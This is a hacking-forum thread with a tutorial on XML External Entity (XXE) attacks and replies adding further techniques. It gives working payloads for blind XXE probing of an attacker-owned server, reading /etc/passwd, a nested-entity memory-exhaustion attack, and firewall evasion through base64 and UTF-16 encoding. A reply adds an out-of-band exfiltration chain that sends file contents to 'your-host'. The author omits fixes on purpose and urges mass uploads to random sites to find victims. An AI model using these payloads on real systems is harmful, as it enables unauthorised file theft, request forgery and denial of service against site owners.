

Forum:[Hack Forums](#)

Thread: [\[TUT\] XXE - The Darker Side of Metlanguage... \[Tutorial\]\[XXE\]](#)

Gee4rce - February 22, 2016, 2:45 am

Placeholder

Placeholder

"The darker side of Metlanguage"

XXE – XML External Entity (Injection/Processing)

This is a Specialists Group Release for the Webhacking section of HF. Tutorial © by Gee4rce

Spoiler [\(Click to View\)](#)

Feel free to listen to Haxur music while reading :> ..favorite Drop at 2:44 mins!

[Video: https://www.youtube.com/watch?time_continue=160&v=zvzkTpf0lg]

This is the first tutorial i write for HF, and also the first hacking tutorial i ever have written. After many years of learning from the work of others who wrote tut's here, i thought it's time to give back.

I know this vulnerabilty was already covered in a tutorial by benzi, but he used a different method. One should read both tutorials for a complete understanding of XXE. Link to benzi's tut: [here](#). (Let me know if i have missed somes tut, i may will add your's here).

>> Please report any errors or broken links you face via pm to me, thank you. <<

This is a "Blackpaper", thus i will not include ways on how to fix this shit. Feel free to add in the comments sections, i may also add in future incase of re-editing.

If you read as newbie:

For many technical words, i have put a wiki link behind. So if you do not understand a highlighted word, just click and you will be directed to the information. This ensures information flow when it's about to understand this tut.

0x00 - Opening words & index

Less known but with a huge impact... along comes XXE.

XXE is already known since years and thus not any new or revolutionary hacking method.

Yet though, one may think that this some rather new or unknown technique... and thats partially

true.

Surprisingly, XXE didnt spread a lot in the past like for example [SQL-Injections](#) did.

Reasons for this may be that [SQL-DB's](#) for example are beeing used much more often than XML for holding data records.

At times where XXE was discovered and introduced, there was not a wide spread usage of XML.

Thus, XXE never got much famous and there was no real population of XXE it in the internet.

Times changed - today we rely more on XML Structures and XML still is rising, for example when it comes to Smartphone apps.

In this Tutorial we will start with "Blind XXE", which usually doesn't sound like the method to start with,

as "XXE" only sounds more basic, and when it comes for example to SQL-Injections, the term "blind" makes us remember rather a more complicated abstraction of usual SQLi.

But i follow a special reason for why i choose "Blind XXE" first, and you will find out why.

0x00 - Opening Words & Index

0x01 - XML, DTD's and Entities

0x02 - What is XXE ?

0x03 - Exploiting 'Blind XXE' -> testing if application is vulnerable-> (SSRF)

0x04 - Exploiting 'XXE' -> the regular way -> (LFI)

0x05 - Exploiting 'XXE' -> with Denial of Service conditions -> (DoS)

0x06 - WAF bypassing and obfuscation example

0x07 - Closing words...

0x08 - Additional Links

0x01 - XML, DTD's and Entities

XML ([Extensible Markup Language](#)) is a [Metalanguage](#), that allows bringing structure into Data records.

Similiar to HTML it makes usage of <tags></tags> to embedd Data into an appropriate shape.

Thus, XML can be used to exchange data, mostly as No-SQL analogue. The most applicable form is web based.

To make a data exchange possible, there is beeing made use of 'standards'. For better understanding of theese, imagine the following:

the client and server must speak the same 'language' or [protocol](#) to enable them to understand each other.

So when a chinese guy wants to talk to an english guy for example, both must follow a 'standard' in language,

which can either be chinese or english in their case. So when it comes to XML, such standards are beeing

defined by the DTD ([Document Type Definitions](#))

DTD tells the XML [Parser](#) what language standard is beeing followed. We need to understand this, as most likely XML Parsers check if a data record is formed correctly.

DTD that follows XML 1.0, also introduces the concept of 'Entities' which are needed to perform an XXE attack.

These are like placeholders or classes that stand for a predefined XML function which can be imported to make use of.

When it comes to XXE, the most interesting Entity there is the 'SYSTEM' Entity as it plays a major role

in the attack. The SYSTEM Entity allows us to request resources- internal as well as of external nature!

More about 'XML Entities' and File inclusion here: [Using Entities to Include Files](#)

0x02 - What is XXE?

XXE stands for 'XML External Entity processing' and belongs into the Category of 'Injection Vulnerabilities'.

Basically you need to find an injection point in the Application, that expects user input in form of an XML request or XML data being provided, which will then be parsed by an XML [Interpreter](#).

If a web based application is vulnerable to XXE, then it's mostly a case of misconfiguration, but for the standard XML parser of php i.e.,

the including of external resources is enabled by default. Have we found a vulnerable place in the application, then we have our point of injection.

From here on, we need to define a [payload](#), which can enable one of the following further vulnerabilities:

- [Cross-Site-Scripting \(XSS\)](#)
- [Local File Inclusion \(LFI\)](#)
- [Denial of Service attacks \(DoS\)](#)
- [Server Side Request Forgery \(SSRF\)](#)
- [Remote command execution \(RCE\)](#) ... (but this is rather a rare case).
- [One who is interested in RCE via XXE, lookup about XXE with Java or gopher:// vulnerability in google search]

As we can see, XXE can serve as major base for further attacks and enables the attacker to open up other vulnerabilities, like the listed ones above.

Quote:Quicktip:

According to '[OWASP Top Ten 2013](#)', injection vulnerabilities still rank number one on the list, in terms of population and danger.

0x03 – Blind XXE

If you compare the term 'Blind' with '[Blind SQL Injection](#)' attacks, then you may think that 'Blind XXE' is a more complicated technique than basic XXE.

But that's not the case. Though we don't have a visual output in our web browser when performing BlindXXE, BlindXXE is still perfect for a first testing

as we can try for a simple [SSRF \('Server Side Request Forgery'\)](#). If this is successful, then we know the following:

- the target is parsing external XML input

- the target is configured to check for DTD
- the SYSTEM Entity is acting within the DTD and it allows to include external resources (most likely then it also allows internal includes).
- the target is vulnerable to XXE

So again, the term blind for XXE means that we do not get visual output in the Browser, as a result if attack was successful or not.

For XXE, most common is the injection via file upload, but it can vary as injections via GET or POST Request (like in benzi's tut),

or even HTTP Header injections are also possible. For our example, i've choosed the file upload example.

Have we found a website that accepts .xml files as upload (for example a compromised adminpanel),

we then create a file with the following content, using our favorite text editor:

Code `<?xml version="1.0"?><!DOCTYPE root [<!ENTITY hax SYSTEM "http://www.your-server-here.com/hax/xxe-ident">]><test><testing>&hax;</testing></test>`

With `<?xml version="1.0"?>`, we define the DTD and make use of the SYSTEM Entity to call an external URL,

which points to a server that we own. Note that this technique involves 2 servers here, the one we own, and the target server- we need both. So next, we prepare our server like this:

What i have used there is a simple installation of [apache Webserver](#) on linux, which after our preparation is now listening to the 'access.log' file and filters out any GET request that reaches our server and consists of the following [pattern](#):

'xxe-ident'.

You can modify this pattern individually, but it must be unique in your access.log file as by this we identify if our attack was successful or not.

It is not even necessary that this path exists, we only want to log if our target calls this URL or not.

Now we upload our prepared file on the target server while we also watch the console which is listening to the acces.log file on our own server.

If a website is vulnerable, then we will see the following entry appearing seconds after file upload there, and by this our attack was successful:

Now we know that the target server is vulnerable to XXE, and since we have forced him to call an external URL,

it means that he is also vulnerable to SSRF, which in our case was executed through an XXE attack.

Quote:Quicktip:

Not only .xml files are usefull for XXE, there are other file formats which also consist fully or partially of XML, i.e. we have .csv, .gpx, .docx, .pdf, etc...

But for theese files the embedding of a payload is different as there are more restrictions about document structure to bypass.

Sidenote:

So why i introduced BlindXXE first? Simply because it's more "stealth".

It does not necessarily raise the attention of a sysadmin, if the URL you call is not to weird. You could even call an image,

which would make it not even look close to something harmfull. Next thing, you can spam upload this at different websites and

just wait until one server hits a URL call to your access.log, then you can better test with a higher load of injections. Also,

some pages may block including of directories like "/etc/...", thus a test there would fail and since we dont get output, we might think

the target is not vulnerable and move on, while it actually was vulnerable and we just missed it.

BlindXXE has a higher chance to success,

so i personally prefer this for first testing.

Sometimes (the other way round) BlindXXE may fail, incase the target server has disallowed the inclusion of external ressources,

while internal ressources are still beeing enabled for inclusion. But the situation that external ressources are disabled is more likely rare.

0x04 – Regular XXE (to LFI)

After we successfully called an external URL via the SYSTEM Entity, we will next try to include a local file/ressource. Our payload for that now looks like this:

```
Code <?xml version="1.0"?><!DOCTYPE test [<!ENTITY xxe SYSTEM  
'file:///etc/passwd'>]><test><xxe>&xxe;</xxe></test>
```

The [file descriptor](#) 'file:/' tells the XML parser to look for a locale path.

For this case we require a visual output of the parsed XML in the web browser. It's not always the case that we can get visual output, but often.

Have we uploaded the file with our new payload, we should see the following output on the target website:

If this is the case, then we have successfully performed an XXE attack which lead us to 'Local File Inclusion'.

Anyways, with the LFI enabled through our XXE attack, we now have the option to escalate to further attacks.

For example we can try to fetch the content of php.ini, httpd.conf or the file that carries

the SQL-DB login data (implying we have one there).

0x05 – Denial of Service with XXE (local DoS)

Yes, with XXE we can also perform DoS attacks, limited to the target server (local).

When doing this, we need to encapsulate entities, so that the server has to extract each entity again when parsing. The payload would look like this:

Code `<?xml version="1.0"?>`

```
<!DOCTYPE hello [  
  <!ENTITY hax1 "hax">  
  <!ENTITY hax2 "&hax1;&hax1;&hax1;&hax1;&hax1;&hax1;&hax1;&hax1;&hax1;">  
  <!ENTITY hax3 "&hax2;&hax2;&hax2;&hax2;&hax2;&hax2;&hax2;&hax2;&hax2;">  
  <!ENTITY hax4 "&hax3;&hax3;&hax3;&hax3;&hax3;&hax3;&hax3;&hax3;&hax3;">  
  <!ENTITY hax5 "&hax4;&hax4;&hax4;&hax4;&hax4;&hax4;&hax4;&hax4;&hax4;">  
  <!ENTITY hax6 "&hax5;&hax5;&hax5;&hax5;&hax5;&hax5;&hax5;&hax5;&hax5;">  
  <!ENTITY hax7 "&hax6;&hax6;&hax6;&hax6;&hax6;&hax6;&hax6;&hax6;&hax6;">  
  <!ENTITY hax8 "&hax7;&hax7;&hax7;&hax7;&hax7;&hax7;&hax7;&hax7;&hax7;">  
  <!ENTITY hax9 "&hax8;&hax8;&hax8;&hax8;&hax8;&hax8;&hax8;&hax8;&hax8;">  
>  
<hello>&hax9;</hello>
```

This basically tells the XML Interpreter to unpack 'hax9', which extracts to 10x 'hax8'.

These 10x 'hax8' will unpack again to 10x 'hax7', and so forth. With that, the dataload on the server raises antiproportional and eats up memory on our target server.

Note that only the unpacking of hax9 and hax8 already produced 100 different entities, which again include dozens of entities with sub entities.

0x06 – XXE: WAF bypass and obfuscation example

I know this has already been covered by benzi with his XXE tutorial, but i'll list it here again in case some guys missed it.

Sometimes we face resistance when trying to overtake a target, for example a [WAF \(Webapplication Firewall\)](#) or an [IPS \(Intrusion Prevention System\)](#).

These would probably block or break the output of the following payload:

Code `<?xml version="1.0"?><!DOCTYPE test [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><test><xxe>&xxe;</xxe></test>`

...a possible pattern that triggers a Firewall or IPS will eventually be the call for path '/etc/passwd', which occurs in our request we send to the target,

or it may even be the content of 'passwd' in the Servers HTTP response. So our job is to obfuscate the things that hints the security systems to an ongoing attack.

Therefore, we should aim to clean anything from our payload that not looks like regular XML stuff.

We do this by using 'php://filter' function

to influence the I/O Stream. Ofc this requires php to be installed on the target webserver, but php is wide-spread, so chances are good.

The following method will take the desired file and base64 encode the content before the server serves it to us:

Code <?xml version="1.0"?><!DOCTYPE test [<!ENTITY xxe SYSTEM
'php://filter/convert.base64-encode/resource=/etc/passwd'>]><test><xxe>&xxe;</xxe></test>

By base64 encoding, we took care of that the HTTP response does not contain any suspicious stuff, and if we was successful then our ouput should look like this:

There we have the file content of passwd, so we just need to take it and decode back from base64 to normal text again.

continuation in next post ->

...
Placeholder
Placeholder

Gee4rce - February 22, 2016, 3:02 am
continuation ->

0x07 – Closing Words...

XXE is an interesting method that leaves much space for an attacker to build upon.
So XXE is a vulnerability, that has great potential to enable other vulnerabilities on the same target.
As mentioned before, in some cases it can even lead to code execution! If we take it serious, XXE alone is a code execution already,
as userdefined XML code is beeing parsed and interpreted. Therefore, the capabilities of XXE are also much limited to an attackers skill and creativity.
This tutorial only explains basic, but if you play around you might find more ways... just some ideas:
you could include external .xml, which carries your payload,
making it not necessary to upload your payload to the server, therefore bypassing WAF or IPS more effective... You could combine blind and regular XXE into one .xml file you upload,
so you cover both cases at once when testing a site if its vulnerable, you can built a viewbot with XXE or abuse it for bruteforcing..
even performing remote (D)DoS attacks with XXE is possible...

XXE may not be as wide spreaded as XSS or SQLi's, but once in a while you can find vulnerable sites if you keep looking.
(look in additional links section to see XXE at google or facebook).

Placeholder
Placeholder

That's all folks!
Hope you guys have learnt something.

>> Please report any errors or broken links you may face via pm to me, thank you. <<

Shouts to all members of the Specialists Group,

all guys who +repped me, Website and Forum Hacking section,
whole HF+Staff and all hackers out there who archived great things in the past.

Special thanks to the following people,
who i know since joining here and who helped me since begin to get where i am now:
[benzi](#), [Hooded Robin](#), [HaxOr<3](#), [VipVince](#), [cheatson](#), [mObile](#), [Th3PonyWizard](#), [Starfall](#), [ryan'C'](#)
(usually without quotes, but HF censors that name),
and thoose who i can't find profile of as they changed name: Zer0Freak, Zer0Cool, Downfall,
Jewels... sorry if i have left anyone out <3 ;)
Without you guys, this tutorial would have never took place, thank you a lot for all the help over the
past few years!

Cheers, Gee.

P.S.: Another special thanks goes to trancy Dubstep music,
without this awesome digital tunes, i wouldn't have became hax.
This music let's me feel like young gawd when bypassing things breaking into systems : 3

Some of the music i listen to when hax web:
[Seven Lions - Velvetine](#)
[Beatcore - Tonight ft. Sara Lynn Boyer](#)
[Alex Doan - Lunar](#) <- this has defo a "divine" touch..!!
[Livewire - fading lights](#)
[Adventure Club & the grils from Krewella - Rise and Fall](#)
[Stephen Swartz - Bullet Train](#)

Placeholder
Placeholder

0x08 – Additional Links

Real-world examples:

...
<http://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers/>
http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution
<http://www.attack-secure.com/blog/hacked-facebook-word-document/>
<http://blog.h3xstream.com/2014/06/identifying-xml-external-entity.html>
<http://seclists.org/fulldisclosure/2015/Nov/35>

Additional abstractions of XXE:

...
[https://www.owasp.org/index.php/XML_External_Entity_\(XXE\)_Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing)
<https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf>
https://net.cs.uni-bonn.de/fileadmin/user_upload/ernst/paper/xmlloob.pdf
http://defcon.org.ua/data/2/2_Vorontsov_XXE.pdf

<http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf>
<https://www.sensepost.com/blog/2014/revisting-xxe-and-abusing-protocols/>
<https://msdn.microsoft.com/en-us/magazine/ee335713.aspx>

<http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html>
<http://mikeknoop.com/lxml-xxe-exploit/>

Tech-docs:

...
https://www.owasp.org/index.php/Top_10_2013-Top_10
<http://php.net/manual/en/wrappers.php.php>
<https://en.wikipedia.org/w/index.php?title=XML&redirect=no>
http://www.w3schools.com/xml/xml_dtd_entities.asp
http://www.xmlfiles.com/dtd/dtd_entities.asp
https://en.wikipedia.org/wiki/Document_type_definition
<https://www.freebsd.org/doc/en/books/fdp-primer/xml-primer-include.html>
https://wiki.selfhtml.org/wiki/XML/DTD/Entities#Schema_zur_Definition_von_Entities

<-- EOD -->

Placeholder
Placeholder

xp10 - February 22, 2016, 1:40 pm

keep it up mate

a wonderful lesson ever in 2016

thanks

mObile - February 22, 2016, 2:10 pm

HQ tutorial Gee4rce. Very informative and and easy to follow. Keep it up. ?

Ronaldo. - February 22, 2016, 10:38 pm

Thanks for making such a Good tut .It will help me a lot .

sdsdsdsdsd - February 23, 2016, 5:57 am

Excellent tutorial! Well documented with great examples! An asset to anyone learning application pentesting.

Im gone brah - February 23, 2016, 7:08 am

Great work, Gee. ?

Intriguer - February 23, 2016, 8:37 am

HQ TuT , Thanks Gee4rce :)

Gee4rce - February 23, 2016, 2:52 pm

Thanks a lot guys,
i am happy it turns out to be usefull for some people ?
This won't be the last tutorial i make.
Cheers, Gee.

SIM-2223238 - February 23, 2016, 2:53 pm

You deserve a sticky, I hope you get a award for this as this was very informational.

Vellichor - February 24, 2016, 3:31 am

Known and old, but nice job clarifying.

Wireless Network - February 24, 2016, 7:22 am

Thanks for sharing this. Hope to see some more similar stuff

iHacker-n00b - February 24, 2016, 3:16 pm

That's a Nice Tutorial :D after a long time

mangdiabloz - February 26, 2016, 12:52 am

this is pretty cool, can bump this so everyone can see, good thread thnx gee4rce

The_Defiant_One - February 26, 2016, 1:30 am

Nice tutorial. Thanks for sharing.

Lem0nParty - February 26, 2016, 7:23 am

Explained in a good way , wonder if sites like the example one still exist :V

DataDumper - February 26, 2016, 8:20 am

As always high quality posts by Gee4rce.

Gee4rce - February 26, 2016, 8:29 am

Thank you very much guys, everyone of you!

I am glad you like it as the work i put in there was for a good cause then ?

Thank you all, cheers, Gee.

Advertise - February 26, 2016, 8:45 am

Thank you for this nice little tutorial. I'm looking forward to learning more from this site.

.GonZ0. - February 26, 2016, 9:11 am

wow man thats very HQ Tread. Thanks for sharing this with us! I will bookmark this for sure.

Ewcia - February 27, 2016, 12:37 am

nice one ty bro

benzi - March 3, 2016, 3:43 am

excellent tutorial, well done. ?

what i love about xxe, is the simplicity.

from a simple xml document, you can take over the whole server.

most of the wafs are pretty simple to bypass, using a simple obfuscation-

```
<!DOCTYPE :_:_: SYSTEM "vector">
```

```
<!DOCTYPE :. SYTEM "vector">
```

```
<!DOCTYPE {0xdfbf} SYSTEM "vector">
```

another trick for waf bypass, is to change the default xml charst (utf-8), to utf-7 or utf-16.

```
Code <?xml version="1.0" encoding="UTF-16"?>
```

```
<!DOCTYPE data [
```

```
<!ELEMENT data (#PCDATA)>
```

```
<!ENTITY file SYSTEM "file:///etc/passwd">
```

```
]>
```

```
<data>&file;</data>
```

and then convert back using iconv.

btw, heres a nice trick to xxe via json-

<https://blog.netspi.com/playing-content-type-xxe-json-endpoints/#>

cheatson - March 6, 2016, 9:59 am

Very well written tutorial mate. Surprised this is the first tutorial you wrote for HF considering your knowledge!

•^v^-[bLacKn3x]-^v^• - March 6, 2016, 10:14 am

Extremely good explained. This helps me a lot to understand XXE.

SIM-2198759 - March 6, 2016, 7:43 pm

Very HQ post, thanks for this!

RootBite - March 6, 2016, 7:46 pm

Saving this for later.

Looks great honestly. I have a few ideas from this

hikashin - March 9, 2016, 5:08 am

Great tutorial. anyway my question is how to know if its vulnerable the .xml uploader? :D thanks again bookmarked!

Gee4rce - March 10, 2016, 10:10 am

@benzi: thanks a lot man, this is a great addition and something new i didn't know before, especially the xxe with json, awesome man!! Thanks a lot mate ?

@cheatson: thank mate, very kind words- but same applies to you ;) More tuts to come soon.

@All the others - thanks a lot for the kind words guys! <3

(Mar 9, 2016 06:08 AM)hikashin Wrote: [\[CITE\]](#) Great tutorial. anyway my question is how to know if its vulnerable the .xml uploader? :D thanks again bookmarked!

You can not know this in advance, basically your target needs to meet the following 2 conditions:

- uploader must accept .xml files - or any other files that can carry xml code
- target must have XML enabled

Then you check with "Blind XXE" if target is vulnerable.

If you do not have a webserver of your own at hand, then check with the file inclusion method.

Hope this helps. Cheers, Gee.

hikashin - March 11, 2016, 5:41 am

(Mar 10, 2016 11:10 AM)Gee4rce Wrote: [\[CITE\]](#) @benzi: thanks a lot man, this is a great addition and something new i didn't know before, especially the xxe with json, awesome man!! Thanks a lot mate ?

@cheatson: thank mate, very kind words- but same applies to you ;) More tuts to come soon.

@All the others - thanks a lot for the kind words guys! <3

You can not know this in advance, basically your target needs to meet the following 2 conditions:

- uploader must accept .xml files - or any other files that can carry xml code
- target must have XML enabled

Then you check with "Blind XXE" if target is vulnerable.

If you do not have a webserver of your own at hand, then check with the file inclusion method.

Hope this helps. Cheers, Gee. Thank you m8 keep up im going to explore it more :D <3

HaxOr? - March 12, 2016, 7:17 pm

Very nice post man, awesome work. Thanks for the shoutout too :)

Viktory - March 18, 2016, 2:38 am

Another lesser known fact is that you can gain a fpd using the local dos. Most default configs allow for a maximum of 30s execution time, after which you will be given an error message with the full path.

Good writeup.

Gee4rce - March 18, 2016, 3:26 pm

Thanks a lot guys, very appreciated!

And interesting addtion @Viktory, i didn't knew of this limitation.

Cheers, Gee.

iHacker-n00b - March 31, 2016, 1:57 pm

I Re-Read Your Tutorial and I Found One Big Thing Missing When You Talked About Blind XXE that You Could retrieve even files and all , even in blind For That , send something like this to a Vulnerable Application

Code <?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root[

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % external SYSTEM "http://your-host/external.dtd">

%external;

%send;

]]>

Now At http://your-host/external.dtd , Create a File named external.dtd

Code <?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://your-host/?%file;' >">

%all;then You Would Find in Your Server logs , the data of the file like :

http://your-host/?root:x:0:0:root:/root:/bin/bash.....

What it does is, first it stores /etc/passwd in %file; and calls %external; where %all; is called after which %send; is called which makes a request to http://your-host/?%file; (now %file; would be replaced by contents of /etc/passwd) and You see it in your logs

for info about % in dtd read here : http://docstore.mik.ua/oreilly/web2/xhtml/ch15_03.htm

Gee4rce - May 14, 2016, 8:26 pm

(Mar 31, 2016 01:57 PM)iHacker-n00b Wrote: [\[CITE\]](#) I Re-Read Your Tutorial and I Found One Big Thing Missing When You Talked About Blind XXE that You Could retrieve even files and all , even in blind For That ,

send something like this to a Vulnerable Application...

Hi mate, thank you for the great addition,

i was thinking to include that technique (calling the payload from external file),

but delivering the file content of the exposed file via SSRF did not come into my mind, that's good idea! Nice add!

Cheers, Gee.

Kashmiri Hunter - May 15, 2016, 5:35 am

Awesome Share.....Keep It Up

vellouise - June 6, 2016, 11:06 pm

Thanks for writing such a nice post. It helped me a lot!!!

Nice Tutorial!!!! Keep it up Mate!!

slthrp - August 7, 2016, 5:33 am

Very high quality, thanks for the great tutorial!

Uiqueblhats - September 1, 2016, 2:16 am

Very informative indeed thanks man

Kashmiri Hunter - September 1, 2016, 10:26 am

Nice Sharing.Keep On Sharing Nice Stuff.

ballack_perllo - September 4, 2016, 8:23 am

Thanks for making such a Good tut

Gee4rce - January 13, 2017, 10:12 am

Thank you for the kind feedback guys,
i am glad it was of help for some folks, thank you for reading!
Cheers, Gee.

semendaemon - January 13, 2017, 10:36 am

(Jan 13, 2017 11:12 AM)Gee4rce Wrote: [\[CITE\]](#) Thank you for the kind feedback guys,
i am glad it was of help for some folks, thank you for reading!
Cheers, Gee.You never stop, do you?

Gee4rce - January 13, 2017, 10:42 am

(Jan 13, 2017 11:36 AM)semendaemon Wrote: [\[CITE\]](#) You never stop, do you?
Not quite sure what you mean, but yes i have planed some more tut's in the future.
Cheers, Gee.

Member Details - January 24, 2017, 5:52 am

Quite a good tutorial
Would love to learn from you
Thanks, man

cz3kit - January 24, 2017, 4:54 pm

Thanks for the tut :) It's well written and I am sure I will be able to learn something. I will read that one somehow during this week or weekend.

CobainLSX - January 24, 2017, 6:47 pm

thanks so much for this man.

MiNDTH3G4P - December 19, 2017, 11:11 am

Awesome tutorial and infos Gee. OMG even xml and gpx are way to exploit file uploaders. But do you think there is vulnerable websites still exists?

CyberStrike - December 21, 2017, 11:34 am

Great tutorial, very well written and easy to follow. Well done!

ive eca - December 24, 2017, 6:18 am

I am looking for a credible hacker. Can you help me?

Belisarius - December 27, 2020, 10:20 am

Awesome tutorial. Thanks, man! My only question would be where to find good sites to try XXE file upload on? Does anyone know?

BeggFoMercy - January 1, 2021, 8:14 am

Extremely well written HQ TUT , Keep up the good work . Glad to see HQ posts coming back to this pretty much dead section .

Money- - January 1, 2021, 9:57 pm

(Jan 1, 2021 09:14 AM)BeggFoMercy Wrote: [\[CITE\]](#) Extremely well written HQ TUT , Keep up the good work . Glad to see HQ posts coming back to this pretty much dead section .

Well that post was years ago though and not recent. I am sure you can find more XXE stuff in google and other educational websites.

BeggFoMercy - January 2, 2021, 6:41 am

(Jan 1, 2021 10:57 PM)Money- Wrote: [\[CITE\]](#) Well that post was years ago though and not recent. I am sure you can find more XXE stuff in google and other educational websites.

If it is that old and I have not noticed , I would still be glad that a good TUT like that was bumped instead of just seeing " NEED HELP HACK PLS " threads ..

Gee4rce - April 12, 2021, 7:18 pm

Thank you to everyone who commented <3

I am very happy this served as help or atleast nice read to some people!

(Dec 19, 2017 12:11 PM)MiNDTH3G4P Wrote: [\[CITE\]](#) But do you think there is vulnerable websites still exists?

Thanks mate, well XXE became more rare, but yes i still find them once in a while, even in 2021 ? (today its not only limited to file-uploads anymore, some endpoints accept XML requests and feed them into an XML parser).

(Jan 2, 2021 07:41 AM)BeggFoMercy Wrote: [\[CITE\]](#) I would still be glad that a good TUT like that was bumped instead of just seeing " NEED HELP HACK PLS " threads ..

Thank you mate, i feel you here.

And i remember you very well,- HF was different the times we were active. (Good old times ?)

Cheers,
Gee.